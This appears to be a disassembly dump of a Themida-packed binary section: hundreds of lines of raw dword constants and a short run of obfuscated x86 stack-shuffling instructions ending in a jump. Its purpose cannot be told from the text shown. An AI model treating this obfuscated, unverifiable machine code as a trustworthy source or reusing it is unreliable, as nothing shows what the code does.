dd 2403D77h, 801B5002h, 0F4129841h, 274644B5h, 9E05365Ah
dd 0D4D8025Dh, 0C6CA0EB1h, 0FDBB3CA7h, 0C1370F49h, 1F2B1B5Dh
dd 891C985Ch, 3F47B4Ch, 0AF281985h, 0A45392E9h, 313B87E6h
dd 0BA00F945h, 8515C487h, 0CC1D4A58h, 0E26E6BDEh, 50E91445h
dd 3976CD9Eh, 383E2h, 0A7BB0000h, 2C686E9Dh, 5B6196D9h
dd 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh
dd 9519C100h, 8307CF76h, 5F68F278h, 89000057h, 0E2892414h
dd 4C281h, 0EA830000h, 24148704h, 3EE4685Ch, 1C890000h
dd 61196824h, 14890000h, 0E9685224h, 5A351841h, 0F281DAF7h
dd 0CF0E395Fh, 148BD389h, 4C48124h, 54000000h, 8124148Bh
dd 4C4h, 4815300h, 6B76C124h, 8428F2Bh, 2A6BD55h, 0EDC17F77h
dd 81D5F708h, 0BA330DF5h, 0B1C58106h, 0F714E75Bh, 9EF581DDh
dd 29DAB69Eh, 0FF5D086Ah, 815A2434h, 4C4h, 2434FF00h, 4C4815Bh
dd 0E9000000h, 0FFF8F37Bh, 0A39BEB62h, 0DFB23A56h, 7B81A9Eh
dd 305E98Ch, 0DFE0FFC5h, 2E5529A0h, 4D299758h, 0EE13F94Eh
dd 594BD2EEh, 0DA51731Ah, 2D0B607Eh, 154393AAh, 0C52BC2B5h
dd 5122B69Dh, 841C0F39h, 0F6630008h, 0E765B3B3h, 0EB3B97BCh
dd 0F0EE104h, 4B8E90Dh, 53850000h, 0FEF64B57h, 0AD2D1CBAh
dd 5184E5E1h, 1FA4F4Bh, 0F99817B3h, 6D6937A4h, 0CBD7DD1Ch
dd 92388476h, 666C2AAFh, 0B1A2077Eh, 60F9F135h, 696EF93Dh
dd 6499D823h, 8F1B05Eh, 0FFF87B82h, 0C4F72B65h, 0C431D546h
dd 0F2B63EA1h, 0D5A1EBABh, 0AEF2E6A9h, 2DA5521Dh, 18B5CB8Ch
dd 0B7B801FCh, 6EFC18B5h, 0C13E7511h, 0D9D71F5Eh, 0CA039A20h
dd 0FCCD0E9Dh, 1DA15B2Eh, 464AB0F1h, 773DBC27h, 0B480CA14h
dd 82089446h, 297C3ABFh, 18B53240h, 0C5B137FCh, 41F8F42h
dd 793C3Ah, 6E060000h, 59D82369h, 0B9C071D6h, 5A11FC18h
dd 0B9093881h, 0C037FC18h, 0B820A3FAh, 14791F4h, 33B5C335h
dd 1311CC43h, 1BE3A04h, 80000000h, 0A7EBEFAEh, 1F9B5B06h
dd 0A502858Ch, 0FC18B9B4h, 1B0CA6Dh, 1A579193h, 0A1551CADh
dd 5AA1EDEFh, 1E41A411h, 0C84AD1D7h, 8C48B68Eh, 28801908h
dd 0D567172Eh, 880EC938h, 3BEFF87Dh, 8F0B9146h, 1D5EFB7Ah
dd 34FC18E7h, 6E986E7Fh, 5DC4276Dh, 0DDEDA1Ah, 0F7169242h
dd 0BD09FD7Fh, 15547240h, 1C47A6E4h, 3851D0DCh, 0F95E4FD7h
dd 0FC182A78h, 2AB9D2A9h, 7D18A16Dh, 6EA195D3h, 3A04C7C3h
dd 5A08h, 6D6E3200h, 5D9DC427h, 0E48CA51h, 8D13C836h, 0F5BB2001h
dd 0E2A82F96h, 13A1589Bh, 0A904988h, 572F19F3h, 0DF9E9FE1h
dd 1499218h, 112FF235h, 589C3A04h, 0A6000000h, 0C4276D6Eh
dd 0DEDA1A5Dh, 0B2BD0E4Fh, 0D7214448h, 0A459A591h, 0D871F01Eh
dd 0CEAC53BBh, 2B7763A4h, 6E19EDFEh, 58DB2266h, 0B217E119h
dd 0FC18B981h, 5FAE1B50h, 0CE64CD1Eh, 0D3FC18B9h, 0B36EA195h
dd 1A3A0413h, 0C4C67B8Dh, 8CF3E408h, 0B724474Dh, 1E916h
dd 6EDD0000h, 0A023266Ah, 18B95607h, 349C82FCh, 395809Fh
dd 0F49F2807h, 0FF0E8C4Dh, 115D2913h, 35A2A5E9h, 8A26B96Dh
dd 0A1063928h, 0FC1802B0h
dd 0D5B10A61h, 0C374D554h, 12FC1802h, 0A6AB8425h, 1FDC9F82h
dd 0F8C10A91h, 766E10B9h, 768101FAh, 0FEC7AE4Ch, 69CE7189h
dd 0F9FA21E8h, 0F6154239h, 860C8A4Fh, 0F17036A3h, 3E8E2D58h
dd 7D4EC485h, 94F689D6h, 0BBADF9FAh, 3C7A7FCBh, 6026D396h
dd 951DDA05h, 89C25965h, 33B5C95Ch, 8402F743h, 40BD101Eh
dd 123FE6h, 54000001h, 568B7B18h, 0B769EDB5h, 0AFEE91CEh
dd 2E72662Ah, 0A9E8F1h, 1FAA3B2h, 0D41F6EC5h, 8796523h
dd 1756C9CFh, 0B40DBDFh, 0AF28ABB2h, 52F776E9h, 0F9FA1BE1h
dd 0DB627B30h, 0C93501ABh, 60C8A10h, 3FE6B5CBh, 4F60h
dd 39AE5A00h, 84D4D753h, 0D3DF1D5Ch, 0F5D60348h, 0D8ED153Ch
dd 0B19EA32Eh, 0B6D5D903h, 0EC93C805h, 1839DA4Bh, 198710FCh
dd 9715C08Ah, 0D956C774h, 0F511AABBh, 51026FBEh, 39FC188Ch
dd 808F4531h, 8B1CBDACh, 3AFC188Ch, 6800414Dh, 3A000000h
dd 0D0577B18h, 0FAD2E777h, 3A413E01h, 52783EBBh, 59ACEAEFh
dd 0FAA344F0h, 572F19F9h, 7C74EEEBh, 0DDEF9374h, 944743B8h
dd 3A4DB8Fh, 7E0450Ch, 74FCFBBAh, 0D32962D3h, 8FC4B3F7h
dd 9D5EFF7Ch, 1567BAE3h, 0F443C7E0h, 0E3A92E91h, 1B5CFD7Ch
dd 0CAF7D367h, 0F9C16C7Dh, 0C04D877Fh, 0C5DC7DECh, 6809C998h
dd 18C9F713h, 77D0577Bh, 2024698h, 2E746726h, 0EB32099Dh
dd 36296F68h, 0AD3E8477h, 494F88F9h, 0D5E95532h, 0FCFB0116h
dd 0F7E46FBEh, 147733A3h, 0E3136AA7h, 170B6D59h, 9127D392h
dd 92DB2268h, 0EADA8425h, 2A5D5B9Ch, 9B2C726Bh, 7F3DBA8Fh
dd 0B922652Ch, 686FD2EBh, 75FFDB22h, 0C6C43581h, 0EEE6A9D8h
dd 7FC653AAh, 92B2C7Eh, 470AD308h, 0D2D61E92h, 52D5024Bh
dd 6A7E313h, 1D147Fh, 0D2950000h, 4809AE28h, 99F2C8A3h
dd 0C23275A2h, 0AE01E5C6h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah
dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h
dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 4317h
mov [esp], ecx
push 18C7h
mov [esp], edi
push edi
mov edi, 5E98CEBh
mov ecx, edi
mov edi, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
pop dword ptr [edi+8]
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dw 0D1Fh
dd 169AD9BCh, 0F7BC8304h, 21B89C61h, 305E991h, 0C3E0FFC5h
dd 6B1011CCh, 340517C9h, 332B53AEh, 0CD30A866h, 0D21EB53Fh
dd 5C7F1652h, 0D9534A33h, 7A668014h, 8262B85Eh, 0F26671E5h
dd 1F56858Dh, 286211D0h, 0B831471Eh, 6334A109h, 0C4278D02h
dd 433DD446h, 0EB163F46h, 10h, 3 dup(0)
dd 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 59B5C357h, 8DB81257h, 0F8B22C60h
dd 1C958589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh
dd 19740005h, 0C08B5350h, 42DB8h, 5D858900h, 8D05E231h
dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
dd 42DB8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h
dd 11E958h, 88C00000h, 534190D6h, 0E58D8735h, 0C6D6F655h
dd 6A4F12ACh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0BD9C351h, 0C08B45C1h, 13E8h
dd 9189E200h, 90CDD929h, 2ECC59Eh, 0FB98BC16h, 0D2111F3h
dd 7EF6805Eh, 17DD8D8Bh, 0BD8905E2h, 5E2156Dh, 0F00F983h
dd 6984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 64C4F5FCh, 2C3D8Bh, 958B0000h, 5E223C1h
dd 840FFF0Bh, 36h, 6359D89h, 3F8B05E2h, 5A9B58Bh, 0FE805E2h
dd 0AA000000h, 0AB477243h, 0A79C2721h, 2A333B5Eh, 0FCBAECE3h
dd 5A574E36h, 0BA66C032h, 0AAF3378Dh, 0B45B58Bh, 493505E2h
dd 0E9535041h, 0Eh, 0EB59D17Eh, 6CEF46A8h, 2A1658A2h, 0BD897468h
dd 5E22395h, 0A4985C6h, 6A4705E2h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B964C355h
dd 47A9E4ADh, 36D9F028h, 60F7B70Fh, 9C5B501h, 0AE905E2h
dd 0A000000h, 0E9CEAE81h, 2B047E32h, 4E861BEh, 2C000000h
dd 60DCD688h, 28A0Fh, 5F520000h, 0DE9h, 27962100h, 0CBEFBBBBh
dd 0DEF0F7C5h, 5061255Ch, 0FE9h, 0A9189C00h, 0E79B5FF3h
dd 88C7FBBCh, 0C42209D7h, 424448Bh, 5A04B250h, 0DE9008Bh
dd 0CD000000h, 0DD275809h, 8B90C004h, 4CD3E35Fh, 4244489h
dd 58D18B66h, 870Fh, 800F0000h, 0Ch, 68F0Fh, 820F0000h
dd 0
dd 16A1B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 6057BAC3h, 15C58D0Bh, 0BD8905E2h
dd 5E22D2Dh, 0F2816061h, 2C31607Fh, 6890Fh, 852B0000h
dd 5E224E1h, 61858D61h, 6A05E57Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C8FCC355h
dd 2B2E55EDh, 786E8808h, 66A4E280h, 0D0FFD78Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E6C35646h, 99858934h
dd 6605E20Ah, 4502EE81h, 0A4985C6h, 515305E2h, 23799D89h
dd 685A05E2h, 968AD4F7h, 3481F38Bh, 12BE0B24h, 8195291Eh
dd 0FF05E232h, 0E216A1B5h, 0F08B6005h, 6B508CBAh, 858D615Dh
dd 5E57A61h, 60F9D0FFh, 0CC5858Bh, 61F905E2h, 4157858Dh
dd 0B70F05E5h, 418589F3h, 8B05E20Bh, 6A206AF1h, 4195FFFFh
dd 3505E20Bh, 53504149h, 1FED85C7h, 105E2h, 85C70000h
dd 5E2134Dh, 0
dd 0F924BE66h, 0C5B52353h, 5A05E229h, 1CA1BD83h, 0F0005E2h
dd 6C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0E1A7559Ch, 4FB7B97Eh, 66506F15h
dd 8B5ED18Bh, 0E2331985h, 0E18D8905h, 6405E209h, 0A3h
dd 0B1858B00h, 0F05E204h, 18Ah, 0E08BF800h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F6C35747h, 8BC6E07Eh
dd 89BD83D6h, 5E20Eh, 4B6850Fh, 8B660000h, 4985C6D0h, 5605E20Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h
dd 2124372Fh, 7E9B92Ah, 37000000h, 9D4F4F91h, 66522783h
dd 25E681h, 0FABE665Ah, 4E831h, 30DF0000h, 0DE9A9C5h, 64000000h
dd 6EA445C8h, 0D56F3C9Ch, 974E75F9h, 8E4BBE50h, 448B5D0Fh
dd 14E80424h, 6C000000h, 4F6C2A72h, 398E86F0h, 23C802F6h
dd 0A34B7C7Fh, 0E97CD906h, 11h, 0D8CB2411h, 0DDF60AF8h
dd 246D881Dh, 9B3656A7h, 8B5A0Ch, 4489D08Bh, 8B660424h
dd 8D2958F7h, 5E216BDh, 16A1B5FFh, 235205E2h, 0E2262595h
dd 858D5A05h, 5E57A61h, 0D9952Bh, 0D0FF05E2h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 79C35545h, 0CEAA37B5h
dd 92CD73ADh, 0C232BA90h, 66506866h, 8090F38Bh, 8D8D03CAh
dd 5E21859h, 6860Fh, 0B5310000h, 5E2185Dh, 91D18B66h, 1E45BE66h
dd 48D7BE50h, 6A9102EAh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 952FC357h, 75300710h
dd 8D89046Ah, 5E23165h, 0E94C2768h, 2434817Fh, 7FE95C27h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2C35343h
dd 38684EACh, 33158D89h, 0B5FF05E2h, 5E22A95h, 68A0Fh
dd 95290000h, 5E204DDh, 0B70F6060h, 0C1B70FF0h, 58E0F61h
dd 0B9000000h, 0A97B780h, 6AD0FF61h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 149FC353h
dd 1DD8D600h, 0E2309E55h, 2A95BD8Bh, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 6E8E7C3h
dd 85000000h, 0E5C691BCh, 0DB58BD0h, 5E05E209h, 3F6B70Fh
dd 0BD893C7Fh, 5E214D1h, 0F8C781h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 40226DC3h
dd 8597D33Ch, 3830Fh, 8B660000h, 0F7B70FF1h, 202447C7h
dd 6A600000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0BBA1C355h, 3C8876EDh, 4BFE855Bh
dd 91F2BD83h, 0F0005E9h, 1B384h, 69B58900h, 305E21Bh, 0E217C1B5h
dd 28C78305h, 0C7F08B66h, 696A2E07h, 8E964h, 53C40000h
dd 0E35C9C8Eh, 47C74B7Eh, 61746104h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C7B193EEh
dd 642F74AEh, 858B5E51h, 5E991FAh, 8DCCBE66h, 6A0C4789h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 122C353h, 0E214A585h, 0FE858B05h, 8905E991h
dd 0E20FADBDh, 895A5605h, 6A0847h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 5AF053C3h, 538A76DFh
dd 9D29DB34h, 5E210F1h, 9E9h, 0B8C8C100h, 10616303h, 0C78314F3h
dd 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 77283422h, 8509EF0Ch, 5E203D9h, 632E07C7h
dd 890F6E6Fh, 0Bh, 5800Fh, 49BA0000h, 0C764874Bh, 69660447h
dd 10E90067h, 0A0000000h, 526818B5h, 39E0373Bh, 9BAC4500h
dd 8BAB6F72h, 0E991F685h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0B9AA088Dh
dd 89C1D43Bh, 6A0C47h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 527A09C3h, 29C52A25h, 0E21B5985h
dd 0F2858B05h, 8B05E991h, 0E20FB5B5h, 89D08B05h, 6A0847h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0D15803C3h, 0F8FDAD3h, 388h, 0F1D68000h, 59953358h
dd 8D05E205h, 0E21EC18Dh, 358D3105h, 9105E231h, 0F0B3BE66h
dd 8B665150h, 0F915AD3h, 68Bh, 0F59D8900h, 0FF05E204h
dd 0E21859B5h, 5D858905h, 8905E226h, 0E22FD1BDh, 0E6A86805h
dd 8B664C1Ah, 243481D6h, 4C1AF6A8h, 64D958Bh, 0B5FF05E2h
dd 5E22A95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0ADC35545h, 120319D0h, 0E9F28B2Ch, 0Eh, 0A7ED9255h
dd 7BD25209h, 8302135Fh, 0D0FF55A2h, 1003BE66h, 0B8h, 45B58B00h
dd 0B05E20Ah, 68840FC0h, 89000000h, 0E2197195h, 0A9B5FF05h
dd 6A05E201h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0E8A1C351h, 14h, 8B22A6C8h, 66013441h
dd 0DF7C53B2h, 24F2F978h, 91CBEB32h, 10E8h, 2861CB00h
dd 4E9C001Ah, 7E9E9B18h, 0A57E35D8h, 0F28B66F0h, 0BD895A5Ah
dd 5E221E9h, 0B1595FFh, 8BFC05E2h, 56006AC0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 25A9827Bh
dd 8BE8CE7Fh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501974h
dd 2DB8C08Bh, 89000004h, 0E21DD585h, 619D8D05h, 0FF05E4B3h
dd 83585BD3h, 0E21805BDh, 17740005h, 2DB85350h, 89000004h
dd 0E21DD585h, 29D8D05h, 0FF05E4B0h, 6A585BD3h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 3342C355h, 0EAEE2C03h, 0BE042086h, 5D21EC51h, 0C08BD68Bh
dd 7E8C08Bh, 9F000000h, 48032F29h, 59F9BB6Bh, 28A0Fh, 0C68A0000h
dd 754AC181h, 85330000h, 5E218B9h, 1D33BEh, 0A1850900h
dd 0FF05E221h, 518D3131h, 5A05E21Bh, 0A8F281F9h, 8945F659h
dd 0E200D9B5h, 3DC28105h, 0BB1D860Ch, 2C7BC0E4h, 8151F281h
dd 0BD0B36BFh, 5E22651h, 5E1BB852h, 18F3DB6h, 95BD0352h
dd 5F05E226h, 7455E981h, 0B86644CCh, 0C1815629h, 44CC7451h
dd 0F4ED88Bh, 0FFFFAA85h, 0DEB866FFh, 0ED8D8DF7h, 6A05E99Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0D204C357h, 7E1C510Dh, 0B52939CEh, 5E21FB5h
dd 0BE98D89h, 7E805E2h, 0D4000000h, 62F3367Eh, 0BD8BD33Dh
dd 5E223F9h, 6185C75Bh, 0C405E207h, 6A000063h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 7753C352h, 467290D1h, 798589h, 85C705E2h, 5E21B55h
dd 0
dd 1DC9B5FFh, 953305E2h, 5E215FDh, 0D08B6651h, 1595FF5Ah
dd 6A05E20Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 244AC352h, 0BD03520Ah, 5E23195h
dd 0FF006A5Bh, 0E20AB995h
dword_5679A4 dd 0EBC08B05h, 0F2BF4A6Dh, 0A7CE44BAh, 4458E050h, 1270FD74h
; DATA XREF: Themida_:004EE8A0o
dd 0B0DCD18Bh, 5C374A2h, 4EBBAC65h, 0B934B9BDh, 0E19036DDh
dd 0AA3B0711h, 0A00CBAEAh, 0D61AEE9Ch, 0D232B532h, 914BFA1Bh
dd 1C009AFBh, 0E2FF921Fh, 191C3AE0h, 0AF164777h, 0BFF89367h
dd 6ABEDBD0h, 2B70CCA7h, 14E77DAh, 0F745EDF8h, 2994AC70h
dd 5BED1E46h, 184B2334h, 11AFF02Eh, 0C08B1725h, 17Ah dup(0)
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 1B6C9624h, 0CE9FCCCh, 0EE000000h, 0C2DCFBA3h
dd 71E680DBh, 9D75F47Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 8CC35040h, 52BA98D5h, 0F8AC3365h, 51006A61h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 1076E5D4h, 881128FEh, 9E937F1h, 26000000h, 82953190h
dd 2C1391B3h, 56006A5Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 13FBFADh, 6A082444h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3022C357h
dd 2159806h, 12E9E365h, 0D000000h, 0DB714612h, 0DC2D2B69h
dd 0B35497CCh, 49AFF823h, 10E943h, 0FC3C0000h, 0A32DD0C1h
dd 0BCDD8F00h, 7C52FB89h, 0E958312Ch, 9, 0F3152BF1h, 0ABFBB08Bh
dd 0FCC39DD5h, 88B0FF5h, 0F000000h, 285h, 0FC616000h, 820FC08Bh
dd 0Bh, 5860Fh, 80BF0000h, 81035FA4h, 0BC1A44C0h, 0CB81661Fh
dd 880F3059h, 2, 0C780CA8Bh, 7E9D2h, 4C680000h, 4E647691h
dd 6EBE6650h, 0F18B665Fh, 7E956h, 0CEDE0000h, 11F1FA59h
dd 81F85877h, 0A4FFABDEh, 0DEB70F4Bh, 2870Fh, 0C28B0000h
dd 890FF98Bh, 5, 37889B8h, 4CBE6016h, 61542DBFh, 7E953h
dd 0AE0F0000h, 56411DECh, 60525F18h, 8C0Fh, 81660000h
dd 61B09BEEh, 28DF8158h, 805D012Bh, 0BF0F81EFh, 14E960F7h
dd 21000000h, 0E5A08B83h, 0FB83510Ah, 0C48616FCh, 0C064A044h
dd 6164D430h, 0AE9h, 7B8AAE00h, 0AB7962D7h, 66060963h
dd 630AF281h, 7ED5B8F8h, 0F3803E33h, 4820FC8h, 66000000h
dd 0F8299EB9h, 3890F60h, 0F000000h, 0B70FCFBFh, 11E961F6h
dd 25000000h, 0AF18534h, 7EFA84A5h, 66BD3D1Ch, 0F9CA4FE6h
dd 6E9h, 94EB0500h, 0FD3131Eh, 89h, 0FA8B6600h, 66C1B70Fh
dd 6E9CE8Bh, 67000000h, 0C6EBDFA5h, 0D08BF52Fh, 2840Fh
dd 0EA8A0000h, 86A5B866h, 10E9h, 6CEA4C00h, 13D580Fh, 0FCD4C8CDh
dd 65255B9h, 8B1FB6AAh, 800F52D0h, 0
dd 74D3815Ah, 667B20F4h, 8152CE8Bh, 719362EBh, 0AE95A6Ch
dd 97000000h, 0AF967997h, 0A65DC0E7h, 0B866536Dh, 605ACB94h
dd 0F5705B2h, 82h, 52615A00h, 0D38B6660h, 2708B866h, 0FE95F61h
dd 0E6000000h, 64D2658Bh, 11AD14EAh, 0F58619Bh, 8160E9F4h
dd 14C234EAh, 0F9BF0F59h, 0E9FE8B61h, 13h, 0E23F9840h
dd 180A92A0h, 34A819D7h, 92BFAA5Eh, 0F591E05Fh, 60FABF0Fh
dd 0A6DA8166h, 0C38160CDh, 0FC12EB1h, 61F0BF0Fh, 54BE6661h
dd 0A10BBFF7h, 0E8524983h, 7, 5B0D8C2Bh, 0E979FC14h, 0Ch
dd 0A28C0A0Eh, 53A13DB8h, 34821C95h, 5B85B59h, 8055B50Ch
dd 0DA8054C3h, 816660D2h, 0E9BE87E3h, 5, 93AB4947h, 0E85161FCh
dd 13h, 578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 0FF5AF94h
dd 82h, 66595B00h, 66B2E3B9h, 8166F18Bh, 0F8D00ECBh, 0DE9F18Ah
dd 0E0000000h, 3411DCC0h, 0F59B0551h, 54BAE289h, 0D8816656h
dd 0E95F9A74h, 10h, 48591C7Ah, 89465A91h, 7CB59C1Dh, 56CE859h
dd 8921BB66h, 0DEBF0FF8h, 9E8E78Ah, 36000000h, 608250F9h
dd 424A74CBh, 58F28B66h, 0E9C38A60h, 0Dh, 51B5CB7Fh, 83D7E214h
dd 875F4F21h, 30B96157h, 0B9151B17h, 39E732DDh, 3134E981h
dd 0F78156D0h, 35BB80BDh, 0E8CA8B66h, 10h, 99C95256h, 62DDCD54h
dd 6B0EE677h, 5A723CD1h, 198D0Fh, 13E80000h, 0E5000000h
dd 2399BE28h, 737B769Eh, 0C7BFC543h, 99A46EDCh, 5A5BA359h
dd 8C0Fh, 800F0000h, 5, 19DB8166h, 0FFBF0F44h, 5810Fh
dd 81660000h, 6086E0EFh, 2AE98166h, 0FEB70F78h, 0C2816661h
dd 81664959h, 0B974A0E0h, 77ED6150h, 0BE8h, 0A690E500h
dd 69CD28FAh, 6EC261A5h, 0D0D28166h, 0EA8A5A2Dh, 10E9h
dd 22B05C00h, 0D4106CA5h, 0A1F99904h, 0E5D647B7h, 0EB816620h
dd 0B70F546Ah, 7E8DBh, 1F2C0000h, 0EBCEC0E2h, 0DA8B6627h
dd 0F98B665Eh, 0F830Fh, 0AE90000h, 44000000h, 59268F03h
dd 36A2EAE2h, 0EE9CFh, 83590000h, 56A42D83h, 0B3D25A05h
dd 752C8061h, 12E9h, 0CB7B6E00h, 31F55301h, 0AB4947C0h
dd 6FCEFC93h, 0F6ECD77h, 0C781D8BFh, 1CDF992h, 0F08BC68Bh
dd 9E9FCh, 0C6010000h, 0F2A94955h, 66C11374h, 0B70FFA8Bh
dd 0E9FEB7D6h, 8, 0C3081CFBh, 2A5B1BF9h, 0AE8h, 0E96FA000h
dd 7B9C3BC1h, 81A76E31h, 61A364F6h, 50575A01h, 5E5BC88Bh
dd 66DA8B66h, 8E0FFE8Bh, 4, 5EF88B50h, 0C181D38Ah, 69002169h
dd 0FE9h, 0FEA05E00h, 8C84B738h, 0D3CA4994h, 0E953F505h
dd 8B666051h, 0FE9D0h, 5E0000h, 0D30D9430h, 10296676h
dd 0CDB944CBh, 0F5A61F0h, 98Eh, 3850F00h, 66000000h, 6E9CA8Bh
dd 7F000000h, 0C25946AAh, 5E836h, 0BEC50000h, 66FD6AACh
dd 8C62F281h, 0DE859h, 60B50000h, 0EBB2EEC4h, 0EC0F404Bh
dd 0B3EB1C8Ch, 25B85FE6h, 0E93107A0h, 8, 7AF74F49h, 8E244E30h
dd 28F0Fh, 0E4B60000h, 3344C081h, 0DE87633h, 0BF000000h
dd 495EC5C0h, 7828DFACh, 9019AF08h, 5BCBB70Fh, 38B0Fh
dd 0D6800000h, 5870F0Eh, 0BB000000h, 3BEACFBFh, 7028BA66h
dd 0CE8h, 92A7B000h, 0E90633D7h, 68D8DB3Ah, 5BAEB112h
dd 9E8h, 0D66C8300h, 0A18BC2ACh, 8A0F1AD1h, 3, 5ADAEB80h
dd 5850Fh, 56B90000h, 665501C1h, 60EF1DBBh, 7E9h, 12351400h
dd 9097385Eh, 61F6BF0Fh, 6E9h, 29B4E800h, 0BEFFC326h, 3B5366h
dd 0B2EE2CBAh, 9FC6817Ah, 0E94AA84Eh, 0Eh, 4EBA9C2Ch, 360DC9CEh
dd 49420040h, 56F816D8h, 9E8h, 25C7CE00h, 6EA3F34Dh, 14E94C21h
dd 0A4000000h, 7E76DB08h, 0D7EF3760h, 0A87CEEE6h, 626D8621h
dd 5E735DE7h, 0E9BCB45Fh, 12h, 0D60F4C8h, 0D5A0EE7h, 0A5547149h
dd 3B8141EEh, 28B7505Ch, 0CE9h, 13793A00h, 0E849B274h
dd 0ED4827Ch, 0CA8B66E9h, 0FE52BB66h, 0E9FEB70Fh, 6, 1F69C782h
dd 6660E019h, 2405F181h, 0DE9h, 6D720100h, 0EFF8E3D6h
dd 54F40CAEh, 6661DE3Eh, 0BE66DA8Bh, 4DB63504h, 9E9h, 0BB285800h
dd 35467DAh, 6E8331Fh, 0C3000000h, 9A9E5FD0h, 0FE960D5h
dd 0C3000000h, 4AE5E0B3h, 1C27A1C9h, 67979574h, 0CF8B070Bh
dd 81515961h, 1EDE78EAh, 8B665E24h, 0ACC8BBC2h, 5E979D6h
dd 27000000h, 5AF29FA5h, 3800FF8h, 80000000h, 66FC62D3h
dd 6E9CA8Bh, 0B5000000h, 0ED4F1F2Fh, 0C9BB6682h, 28A0FC1h
dd 0B3000000h, 0EE8BFh, 35490000h, 26C94935h, 0A01AC8E3h
dd 231C79Ah, 2D53D381h, 0E95F2C31h, 9, 0E0957F52h, 9EF83CB7h
dd 0EE9F83Dh, 7B000000h, 0A1D7905Ch, 82008065h, 4D9AA630h
dd 6650F822h, 5990E4BAh, 8800Fh, 81520000h, 0E541AAE1h
dd 0B8575947h, 4C2260B5h, 38B0F5Ah, 0F000000h, 10E9F9BFh
dd 70000000h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch, 0E9999119h
dd 13h, 0E5F720CFh, 0BE31ABB7h, 53547760h, 99E45DDEh, 0F83CA19h
dd 280h, 66D68B00h, 0F681DF8Bh, 4CF3B1DBh, 38E28060h, 0C0BF0F61h
dd 2860Fh, 0DD8A0000h, 0AE98A3BEh, 0C18B6601h, 7E9h, 0B1526E00h
dd 3075A310h, 7E960h, 0E9D80000h, 0DE525D54h, 6145B70Eh
dd 0A41FB866h, 3800Fh, 8B660000h, 0E9D38BD1h, 12h, 3E187B25h
dd 0F566CA3Ah, 144EE076h, 0B2C684A1h, 0BF0FE873h, 9887B9CBh
dd 0E9577B08h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh, 58DF815Bh
